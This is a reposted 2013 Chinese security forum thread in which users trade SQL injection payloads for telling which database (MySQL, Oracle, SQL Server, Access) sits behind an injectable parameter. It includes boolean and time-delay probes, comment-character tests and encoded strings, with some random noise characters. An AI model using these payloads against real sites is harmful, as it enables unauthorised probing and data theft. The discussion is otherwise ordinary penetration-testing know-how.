一个注射点如何最快速确认是什么类型数据库

admin

一个注射点如何最快速确认是什么类型数据库
xsser (十根阳具有长短!!) | 2013-02-05 12:36
假设这么一个注射点：
show.html?id=2
7 e) D1 j' ?/ bmysql:id=2 and version()>0
oracle:id=2 and '1'||'1'='11
其他的欢迎补充
" J' c, e" t) D6 G/ U" |1#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
2 F6 `- o& b8 @9 ~Access:
% J" b, s, n' Z1 o( aaNd aSc(cHr(97))=97
& Q* r; q; G' B! V/ jand exists(select id from MSysAccessObjects)
SQL Server:
# y  \4 z; I3 G5 I+ gand exists(select id from sysobjects)
1 I' z; v+ D3 a' K1 J; A: |. P  P$ fand length(user)>0
6 T- v( k  a  w7 Z8 c- ]8 LMySQL:
  `6 @8 y7 R5 P3 B! W( n7 M- pand length(user())>0
2#
5 m/ O* q/ P' k5 h1 B9 z1 `3 {xsser (十根阳具有长短!!) | 2013-02-05 12:48
@upload 如果这些都不是呢…
3#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
0 M% O' D& Z2 X@xsser 不快速的，延时注入
$ c  x7 q. C6 ^' w不知道这样写对不对
mssql：id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
% s& Z. q! S2 }" D" |& p3 G5 A6 mmysql：id=2 and select benchmark(1e8,current_date());
4#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
最快的貌似是看报错信息
oracle error
mssql error
mysql error
8 i: Q$ j5 H1 R% ~7 Q, O5#
Nimda (你们都是坏银～) | 2013-02-05 13:14
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
6#
; e3 r2 K+ d7 N+ F  ?0 N$ wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
) C+ l4 [1 x0 z* {2 Z* n- @8 T“/*”是MySQL中的注释符，返回错误说明该注入点不是MySQL，继续提交如下查询字符：
. a  v0 B/ K! h6 I. z“–”是Oracle和MSSQL支持的注释符，如果返回正常，则说明为这两种数据库类型之一。继续提交如下查询字符：
- K, O: O5 a1 U1 c“;”是子句查询标识符，Oracle不支持多行查询，因此如果返回错误，则说明很可能是Oracle数据库。
* `& {9 d$ o* s8 s- {9 B. L; Y7#
! m7 z; |1 K0 i* Q- {) t+ ~, x_Evil (HackEnd) | 2013-02-05 13:33
PostgreSQL
' B7 u% \3 |. }3 v, T8#
. H. n" p8 v7 x/ F9 w$ E/ Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
( _! ]( Z3 c3 @9 W切换编码 and 1=1
oracle：
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
mssql：
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
mysql：
CHAR(97, 110, 100, 32, 49, 61, 49)
4 ?; {3 {) ^: X3 c) ~/ V- ~7 c9#
) W7 B6 G- u. z: ~2 g8 rxsser (十根阳具有长短!!) | 2013-02-05 14:31
@upload 比较常见的数据库这些还是可以判断的，但是还有其他奇葩类型的呢？
- [# S2 j" u' J- ]9 [10#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
6 u" j- F) V5 H9 k@xsser 是奇葩数据库类型的么？
根据注入的原理，我们可以猜想，要成功的注入，必须使得注入后的一片和谐，那么使用该类数据库特性来判断,综上所述：
+ n; z& j+ n( p! E. u1.是否可以使用特定的函数来判断，该数据库特有的
6 Q9 g/ c" M. u2.是否可以使用辅助的符号来判断，如注释符号、多语句查询符等等
0 M7 [0 N. u! v( W2 F5 F$ A3.是否可以编码查询
% G* B" [$ Z0 v8 ]# }4.是否显可以利用错信息
0 q5 B5 ?7 S) w" ~8 j5.是否存在数据库某些特性辅助判断
. B% s0 X4 `$ S+ w( Y/ f. D个人见解
11#
小胖子 (z7y壮士，来，干了这碗酒！) | 2013-02-05 14:55
已收藏，mssql可以直接看到错误提示的吧～
' x  @( H7 O0 j9 ^; R6 s8 _12#
2 L. `' u; h) ~4 ?# OPasser_by | 2013-02-05 15:09
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
from:http://zone.wooyun.org/content/260